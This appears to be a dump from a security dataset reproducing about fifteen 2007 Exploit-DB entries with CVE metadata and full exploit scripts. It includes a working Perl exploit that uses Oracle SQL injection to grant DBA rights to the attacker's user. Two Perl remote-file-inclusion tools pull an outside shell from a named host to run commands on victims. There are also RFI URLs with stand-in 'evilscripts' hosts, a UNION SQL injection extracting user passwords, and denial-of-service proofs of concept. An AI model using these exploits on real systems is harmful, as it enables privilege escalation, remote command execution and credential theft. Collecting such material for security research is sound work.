QLWD/code_shield huggingface dataset:
标题: Oracle 9i/10g - DBMS_EXPORT_EXTENSION SQL Injection EDB-ID: 3269 CVE: 2006-2505 2006-2081 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-02-05 漏洞利用脚本: #!/usr/bin/perl
#
# Remote Oracle dbms_export_extension exploit (any version)
# Grant or revoke dba permission to unprivileged user
# 
# Tested on Oracle 10g - Release 10.2.0.1.0
#     Oracle  9i - Release  9.2.0.2.0
# 
#   REF:    https://www.securityfocus.com/bid/17699
#
#   AUTHOR: Andrea "bunker" Purificato
#           http://rawlab.mindcreations.com
#
#   DATE:   Copyright 2007 - Sun Feb  4 15:53:04 CET 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
use warnings;
use strict;
use DBI;
use DBD::Oracle;
use Getopt::Std;
use vars qw/ %opt /;

sub usage {
    print <<"USAGE";
    
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r

Options:
     -h     <host>     target server address
     -s     <sid>      target sid name
     -u     <user>     user
     -p     <passwd>   password 

     -g|-r             (g)rant dba to user | (r)evoke dba from user

USAGE
    exit 0
}

my $opt_string = 'h:s:u:p:gr';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};

my $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;

my $sqlcmd = "GRANT DBA TO $user";

print "[-] Wait...\n";
$dbh->{RaiseError} = 1;

if ($opt{r}) {
    print "[-] Revoking DBA from $user...\n";
    $sqlcmd = "REVOKE DBA FROM $user";
    $dbh->do( $sqlcmd );
    print "[-] Done!\n";
    $dbh->disconnect;
    exit;
}

$dbh->do( qq{ 
CREATE OR REPLACE PACKAGE BUNKERPKG AUTHID CURRENT_USER IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER;
END;
} );

print "[-] Building evil package\n";

$dbh->do(qq{ 
CREATE OR REPLACE PACKAGE BODY BUNKERPKG IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE '$sqlcmd';
COMMIT;
RETURN(1);
END;
END;
} );

print "[-] Finishing evil package\n";

$dbh->do(qq{ 
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1';
INDEX_SCHEMA := '$user';
TYPE_NAME := 'BUNKERPKG';
TYPE_SCHEMA := '$user';
VERSION := '';
GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME
=> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
} );

print "[-] YOU GOT THE POWAH!!\n";

$dbh->disconnect;

exit;

# milw0rm.com [2007-02-05] URL: https://www.exploit-db.com/exploits/3269
标题: Microsoft Internet Explorer 6 - 'mshtml.dll' Null Pointer Dereference EDB-ID: 3272 CVE: 2007-0811 类型: DOS 平台: WINDOWS 发布日期: 2007-02-05 漏洞利用脚本: <!--
+ Title: Microsoft Internet Explorer Malformed HTML Null Pointer Dereference Vulnerability (mshtml.dll) (0-day)

+ Bug discovered & exploit coded by AmesianX in powerhacker.net (YoungHo Park - amesianx@gmail.com)

+ Critical: Critical
 
+ Impact: MS Internet Explorer 6 -> Crash (Denial of Service)
 
+ Where: From remote
 
+ Tested Operating System: Windows XP SP2 FULL PATCHED (Korean Language)
                                          Windows 2000 Advanced Server (Korean Language)
 
+ Tested Software: Microsoft Internet Explorer Ver.6.0.2800.1106;SP1 (Windows 2000 Advanced Server)
                            Microsoft Internet Explorer Ver.6.0.2900.2180.xpsp.050928-1517;SP2 (Windows XP Pro)
 
+ Solution: Not Patched (zero-day)
 
+ Description:
  The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched
  Windows XP SP2 system. this bug will crash when executing a 'for' scripts.

+ The following proof-of-concept is also available:
  http://www.powerhacker.net/exploit/IE_NULL_CRASH.html
-->

<html>
<head>
<title> AmesianX, RC_No1 in powerhacker.net (amesianx@gmail.com, RC_No1@gmail.com)</title>
</head>
<body>
<script language='javascript'>
var data = document['getElementById'];
for(var key in data);
</script>
</body>
</html>

# milw0rm.com [2007-02-05] URL: https://www.exploit-db.com/exploits/3272
标题: phpBB++ Build 100 - 'phpbb_root_path' Remote File Inclusion EDB-ID: 3259 CVE: 2007-0762 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-02 漏洞利用脚本: # (C) xoron
#
# [Name: phpBB++ (phpbb_root_path) Remote File Include Exploit]
#
# [Author: xoron]
# [Exploit coded by xoron]
#
# [Download: http://sourceforge.net/project/showfiles.php?group_id=86688&package_id=90098]
#
# [xoron.biz - xoron.info]
#
# [Thanx: str0ke, kacper, k1tk4t, SHiKA, can bjorn]
#
# [Tesekkurler: chaos, pang0, DJR]
# 
# [POC: /includes/functions.php?phpbb_root_path=http://evilscripts?]
#
# [Vuln Codes: include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpEx );
#
#
$rfi = "functions.php?phpbb_root_path="; 
$path = "/includes/";
$shell = "http://pang0.by.ru/shall/pang057.zz?cmd=";
print "Language: English // Turkish\nPlz Select Lang:\n"; $dil = <STDIN>; chop($dil);
if($dil eq "English"){
print "(c) xoron\n";
&ex;
}
elsif($dil eq "Turkish"){
print "Kodlayan xoron\n";
&ex;
}
else {print "Plz Select Languge\n"; exit;}
sub ex{
$not = "Victim is Not Vunl.\n" and $not_cmd = "Victim is Vunl but Not doing Exec.\n"
and $vic = "Victim Addres? with start http:// :" and $thx = "Greetz " and $diz = "Dictionary?:" and $komt = "Command?:"
if $dil eq "English";
$not = "Adreste RFI acigi Yok\n" and $not_cmd = "Adresde Acýk Var Fakat Kod Calismiyor\n"
and $vic = "Ornek Adres http:// ile baslayan:" and $diz = "Dizin?: " and $thx = "Tesekkurler " and $komt = "Command?:"
if $dil eq "Turkish";
print "$vic";
$victim = <STDIN>;
chop($victim);
print "$diz";
$dizn = <STDIN>;
chop($dizn);
$dizin = $dizn;
$dizin = "/" if !$dizn;
print "$komt";
$cmd = <STDIN>;
chop($cmd);
$cmmd = $cmd;
$cmmd = "dir" if !$cmd;
$site = $victim;
$site = "http://$victim" if !($victim =~ /http/);
$acacaz = "$site$dizin$rfi$shell$cmmd";
print "(c) xoron.info - xoron.biz\n$thx: pang0, chaos, can bjorn\n";
sleep 3;
system("start $acacaz");
}

# milw0rm.com [2007-02-02] URL: https://www.exploit-db.com/exploits/3259
标题: Microsoft Word 2000 - Code Execution EDB-ID: 3260 CVE: 2007-0515 类型: LOCAL 平台: WINDOWS 发布日期: 2007-02-03 漏洞利用脚本: ############ use at your own risk *******

+ Title: Microsoft Word 2000 Unspecified Code Execution Vulnerability Exploit (0-day)

+ code by xCuter (BongGoo Kang - xcuter@returnaddr.org)
           
+ Critical: High Critical
 
+ Impact: MS Word 2000 -> Could Allow Arbitrary Command Execution
          MS word 2003 -> Attempts against Word 2003/XP will consume all CPU resources and will cause a denial of service
 
+ Where: From remote
 
+ Tested Operating System: Windows XP SP2 FULL PATCHED (Korean Language)
 
+ Tested Software: Microsoft(R) Word 2000 (9.0.2720)
 
+ Solution: Not Patched (zero-day)
 
+ Description:
  When a user opens a specially crafted Word file using a malformed string,
  it may corrupt system memory in such a way that an attacker could execute arbitrary code
  This exploit will be execute command - 'CMD.EXE'
 
+ Reference : http://www.microsoft.com/technet/security/advisory/932114.mspx - Microsoft Security Advisory (932114)
 
- https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29524.doc (02032007-word2000exp.doc)
- http://www.returnaddr.org/exploit/word2000

############ use at your own risk *******

# milw0rm.com [2007-02-03] URL: https://www.exploit-db.com/exploits/3260
标题: phpBB ezBoard Converter 0.2 - 'ezconvert_dir' Remote File Inclusion EDB-ID: 3258 CVE: 2007-0761 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-02 漏洞利用脚本: # (C) xoron
#
# [Name: ezConvert: phpBB ezBoard converter v0.2 (ezconvert_dir) Remote File Include Exploit]
#
# [Author: xoron]
# [Exploit coded by xoron]
#
# [Download: http://sourceforge.net/project/showfiles.php?group_id=114129]
#
# [xoron.biz - xoron.info]
#
# [www.xoron.info/bugs/ezconvert.txt]
#
# [Thanx: str0ke, kacper, k1tk4t, SHiKA, can bjorn]
#
# [Tesekkurler: chaos, pang0, DJR]
# 
# [POC: /ezconvert/config.php?ezconvert_dir=http://evilscripts?
#
# [Vuln Codes: include ($ezconvert_dir . 'ezboard-parse.' . $phpEx);
#              include ($ezconvert_dir . 'phpbb-insert.' . $phpEx);
#
#
$rfi = "config.php?ezconvert_dir="; 
$path = "/ezconvert/";
$shell = "http://pang0.by.ru/shall/pang057.zz?cmd=";
print "Language: English // Turkish\nPlz Select Lang:\n"; $dil = <STDIN>; chop($dil);
if($dil eq "English"){
print "(c) xoron\n";
&ex;
}
elsif($dil eq "Turkish"){
print "Kodlayan xoron\n";
&ex;
}
else {print "Plz Select Languge\n"; exit;}
sub ex{
$not = "Victim is Not Vunl.\n" and $not_cmd = "Victim is Vunl but Not doing Exec.\n"
and $vic = "Victim Addres? with start http:// :" and $thx = "Greetz " and $diz = "Dictionary?:" and $komt = "Command?:"
if $dil eq "English";
$not = "Adreste RFI acigi Yok\n" and $not_cmd = "Adresde Acýk Var Fakat Kod Calismiyor\n"
and $vic = "Ornek Adres http:// ile baslayan:" and $diz = "Dizin?: " and $thx = "Tesekkurler " and $komt = "Command?:"
if $dil eq "Turkish";
print "$vic";
$victim = <STDIN>;
chop($victim);
print "$diz";
$dizn = <STDIN>;
chop($dizn);
$dizin = $dizn;
$dizin = "/" if !$dizn;
print "$komt";
$cmd = <STDIN>;
chop($cmd);
$cmmd = $cmd;
$cmmd = "dir" if !$cmd;
$site = $victim;
$site = "http://$victim" if !($victim =~ /http/);
$acacaz = "$site$dizin$rfi$shell$cmmd";
print "(c) xoron.info - xoron.biz\n$thx: pang0, chaos, can bjorn\n";
sleep 3;
system("start $acacaz");
}

# milw0rm.com [2007-02-02] URL: https://www.exploit-db.com/exploits/3258
标题: Chicken of the VNC 2.0 - 'NULL-pointer' Remote Denial of Service EDB-ID: 3257 CVE: 2007-0756 类型: DOS 平台: OSX 发布日期: 2007-02-02 漏洞利用脚本: <?
$port = "5900";

$BadServerInit=
"\x04\x00".                                     // fb-width
"\x03\x00".                                     // fb-hight
"\x20".                                         // bits per pixel
"\x18".                                         // depth
"\x00".                                         // big-endian flag
"\x01".                                         // true-color flag
"\x00\xff\x00\xff\x00\xff".    // r-g-b max
"\x10\x08\x00".                          // r-g-b shift
"\x00\x00\x00".                          // padding
"\xff\xff\xff\xff".                      // computer-name size
"DIE_PLZ";                                      // computer-name


$ser = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_set_option($ser,SOL_SOCKET,SO_REUSEADDR,1);
socket_bind($ser,"0.0.0.0", $port);

socket_listen($ser, 5);

print "this fake vnc server will crash cotv2.0 (http://sourceforge.net/projects/cotvnc/) due to a NULL-pointer dereference 02-02-2007   poplix [@] papuasia.org listening on $port ...\n";

$cotv = socket_accept($ser);
print "client connected\n";

socket_write($cotv, "RFB 00 3.008\n");
while($i=socket_read($cotv, 1024))
       if(substr($i,0,6) == "RFB 00") break;


print "protocol has been negotiated\n";

socket_write($cotv, "\x00\x00\x00\x01");
while($i=socket_read($cotv, 1024))
       if(ord($i[0])==0 || ord($i[0])==1)break;

print "sending expl...\n";

socket_write($cotv, $BadServerInit);


socket_close($cotv);

socket_close($ser);

print "done\n";
?>

# milw0rm.com [2007-02-02] URL: https://www.exploit-db.com/exploits/3257
标题: WebBuilder 2.0 - 'StageLoader.php' Remote File Inclusion EDB-ID: 3249 CVE: 2007-0703 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-01 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
WebBuilder <= 2.0 Remote File Include Vulnerability *
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Discovered by GolD_M(Mahmnood_ali) & &  Contact: HackEr_@W.Cn *
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
URL: *
http://oss.backendmedia.com/snapshots/webbuilder2-2006-08-18.zip *
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
V.CODE: In : /library/StageLoader.php *
require_once($GLOBALS['core']['module_path'].'/module_common.php'); *
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Exploit: *
http://victim.com/[path]/library/StageLoader.php?GLOBALS[core][module_path]=Evil.txt?  *
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Thanx : Tryag.Com & DwRaT.Com & Asb-May.Net & Milw0rm.com & H4cky0u.Com & Google.Com     *
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2007-02-01] URL: https://www.exploit-db.com/exploits/3249
标题: Portail Web PHP 2.5.1 - 'includes.php' Remote File Inclusion EDB-ID: 3250 CVE: 2007-0699 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-01 漏洞利用脚本: php web portail [remote file include]
download site: https://sourceforge.net/project/showfiles.php?group_id=178400
product:php web portail
bug: remote file include
risk : high

remote file include :

/includes/includes.php?site_path=http://site.com/shell.txt?%00



laurent gaffié
http://s-a-p.ca/
contact: saps.audit@gmail.com

# milw0rm.com [2007-02-01] URL: https://www.exploit-db.com/exploits/3250
标题: dB Masters Curium CMS 1.03 - 'c_id' SQL Injection EDB-ID: 3256 CVE: 2007-0765 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-02 漏洞利用脚本: *******************************************************************************
# Title   :  dB Masters' Curium CMS <= 1.03(c_id) Remote Blind SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.dbmasters.net
# $$      :  Free
# Dork    :  Powered by dB Masters' Curium CMS 1
# DorkEx  :  http://www.google.com.tr/search?q=Powered+by+dB+Masters%27+Curium+CMS+1&hl=tr&start=0&sa=N

# Info    :  \*Ele gecirdiginiz hash ve kullanici adi ile once siteye register
              olarak cookie ile oynayarak admin yetkisiyle login olabilirsiniz
              Upload bolumunden rahatlikla istediginiz uzantida dosyayi upload
              edebilirsiniz.Uye olurken bazilarinda maile aktivasyon gelir.  

#Lamerlere:  \*Bir siteye rapor yollamakla o konuda cok bilgili olduumuz anla-
              mina gelmez.Ben sahsen hicbirsey bilmedigim kanisindeyken goru-
              yorumki bircok insan hakikaten birseyi basardigini saniyor.
              Bunada burada deginmek istedim.
              Birakin sizi baskasi ovsun.

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//news.php?id=-1&c_id=[SQL]

Example:

//news.php?id=-1&s_id=-1%20union%20select%200,1,concat(username,char(32),password),3,4,5,6,7,8,9,0%20from%20cm_users/*

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-02-02] URL: https://www.exploit-db.com/exploits/3256
标题: CoD2: DreamStats 4.2 - 'index.php' Remote File Inclusion EDB-ID: 3251 CVE: 2007-0757 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-02 漏洞利用脚本: ConTact Me:-wWw.Asb-May.Net
ScRiPt:-http://callofduty.filefront.com/file/DreamStats_System;54520
Discovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs TeAm}>>
******************************************************************************
index.php:-
if (!$slots) {include($rootpath . 'html/serveroffline.php');exit;}
********************************************************************************
ExPlOiT:-http://www.Site.com/PaTh/index.php?rootpath=[Shell]
********************************************************************************

# milw0rm.com [2007-02-02] URL: https://www.exploit-db.com/exploits/3251
标题: phpEventMan 1.0.2 - 'level' Remote File Inclusion EDB-ID: 3246 CVE: 2007-0702 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-01 漏洞利用脚本: -----------------------------------------------

phpEventMan v1.0.2 (level) Remote File Include Exploit

-----------------------------------------------

Author: Cyber-Security

cyber-security.org

-----------------------------------------------

Code:

include_once($level."UserMan/controller/common.function.php");
include_once($level."Shared/sharedfunctions.php");

-----------------------------------------------

POC:

www.target.com/script_pat/Shared/controller/text.ctrl.php?level=http://evilscripts ?
www.target.com/script_pat/UserMan/controller/common.function.php?level=http://evilscripts ?

-----------------------------------------------

download: http://sourceforge.net/project/showfiles.php?group_id=169887
-----------------------------------------------
 
Reference: http://www.cyber-security.org/DataDetayAll.asp?Data_id=594

# milw0rm.com [2007-02-01] URL: https://www.exploit-db.com/exploits/3246
标题: Epistemon 1.0 - 'common.php?inc_path' Remote File Inclusion EDB-ID: 3247 CVE: 2007-0701 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-01 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Epistemon 1.0 <=  Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Discovered by GolD_M(Mahmnood_ali) & &  Contact: HackEr_@W.Cn

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

URL:

http://sourcesup.cru.fr/frs/download.php/668/Epistemon_V1.tgz

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

V.CODE: In : /plateforme/code/inc/common.inc.php

include($inc_path.'config.php');
include ($inc_path."i18n.inc.php");
include ($inc_path."const.inc.php")      ;
include ($inc_path."c_init.inc".$ext)     ;
include ($inc_path."c_chapitre.inc".$ext) ;
include ($inc_path."c_color.inc".$ext)    ;

include ($inc_path."c_connexion.inc".$ext);
include ($inc_path."c_file.inc".$ext)     ;
include ($inc_path."c_formation.inc".$ext);
include ($inc_path."c_groupe.inc".$ext)   ;
include ($inc_path."c_header.inc".$ext)   ;
include ($inc_path."c_mail.inc".$ext)     ;
include ($inc_path."c_membre.inc".$ext)   ;
include ($inc_path."c_webmail.inc".$ext)  ;
include ($inc_path."c_module.inc".$ext)   ;
include ($inc_path."c_mysql.inc".$ext)    ;
include ($inc_path."c_phorum.inc".$ext)   ;
include ($inc_path."c_tuteur.inc".$ext)   ;
include ($inc_path."c_document.inc".$ext) ;
include ($inc_path."html.inc".$ext)       ;
include ($inc_path."c_complement.inc".$ext);

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:

http://www.hedef.com/[path]/plateforme/code/inc/common.inc.php?inc_path=Evil.txt

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx : Tryag.Com & DwRaT.Com & Asb-May.Net & Milw0rm.com & H4cky0u.Com & Google.Com

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2007-02-01] URL: https://www.exploit-db.com/exploits/3247
标题: Remotesoft .NET Explorer 2.0.1 - Local Stack Overflow (PoC) EDB-ID: 3254 CVE: 2007-0766 类型: DOS 平台: WINDOWS 发布日期: 2007-02-02 漏洞利用脚本: #/usr/bin/ python
print "--------------------------------------------------------------"
print "Remotesoft .NET Explorer 2.0.1 Stack Overflow"
print "url: http://www.remotesoft.com/"
print "author: shinnai"
print "mail: shinnai[at]autistici[dot]org"
print "site: http://shinnai.altervista.org"
print "soundtrack: Firestarter (Prodigy)"
print "--------------------------------------------------------------"

try:
   char = "\x41" * 80000

   out_file = open('DotNet.cpp','wb')
   out_file.write(char)
   out_file.close()

   print "File succesfully created!\n\n"
   print "Here is a dump:"
   print "pid=0820 tid=08C0  EXCEPTION (unhandled)"
   print "----------------------------------------------------------------"
   print "Exception C00000FD (STACK_OVERFLOW)"
   print "----------------------------------------------------------------"
   print "EAX=00003551: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
   print "EBX=0012FA78: 01 00 00 00 00 00 00 00-00 77 05 00 00 00 00 00"
   print "ECX=00E523F0: 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41"
   print "EDX=782279A8: 55 8B EC FF 75 20 FF 75-1C FF 75 18 FF 75 14 FF"
   print "ESP=00032FE8: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00"
   print "EBP=0003351C: 48 35 03 00 76 D4 E4 77-84 12 01 5A 01 00 00 00"
   print "ESI=0000028B: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
   print "EDI=0000005E: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
   print "EIP=77E4885F: 53 8B 5D 14 F6 C7 20 89-45 FC 8B 45 08 89 8D E8"
   print "           --> PUSH EBX"
   print "----------------------------------------------------------------\n"
   print "To see application crash, encrease the number of characters."
   print "I was unable to execute arbitrary code but I think someone better"
   print "than me can succesfully exploit it :P\n" except:
   print "Unable to create file!"

# milw0rm.com [2007-02-02] URL: https://www.exploit-db.com/exploits/3254
标题: Flipper Poll 1.1.0 - 'poll.php?root_path' Remote File Inclusion EDB-ID: 3253 CVE: 2006-3683 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-02 漏洞利用脚本: Flipper Poll v1.1.0 (poll.php) remote file include vuln
---------------------------------------------------------------------------------
 
Found: Cyber-Security
cyber-security.org
 
---------------------------------------------------------------------------------
 
Script Download: http://sourceforge.net/project/showfiles.php?group_id=59828
 
---------------------------------------------------------------------------------

Vuln Code: include_once($root_path . 'config.php');
 
---------------------------------------------------------------------------------
 
Exploit: /poll.php?root_path=evilscripts?
 
---------------------------------------------------------------------------------
 
Reference: http://www.cyber-security.org/DataDetayAll.Asp?Data_id=596
 
---------------------------------------------------------------------------------

# milw0rm.com [2007-02-02] URL: https://www.exploit-db.com/exploits/3253